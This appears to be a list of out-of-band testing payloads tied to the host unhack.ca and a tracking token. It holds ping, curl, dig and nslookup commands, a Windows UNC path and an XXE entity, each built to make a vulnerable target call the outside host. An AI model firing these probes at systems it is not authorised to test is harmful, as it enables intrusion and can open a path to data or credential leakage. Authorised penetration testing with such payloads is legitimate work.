$ ping -c1 -p 0000604b957922d302866324aa97d000 unhack.ca
 

$ curl http://unhack.ca/p/00604b957922d302866324aa97d0
 

$ dig 00604b957922d302866324aa97d0 @unhack.ca
 

$ dig 00604b957922d302866324aa97d0.ns.unhack.ca
 

C:\> nslookup 00604b957922d302866324aa97d0 unhack.ca
 

C:\> type \\unhack.ca\00604b957922d302866324aa97d0\f.txt
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/00604b957922d302866324aa97d0">]>
    <foo>&xxe;</foo>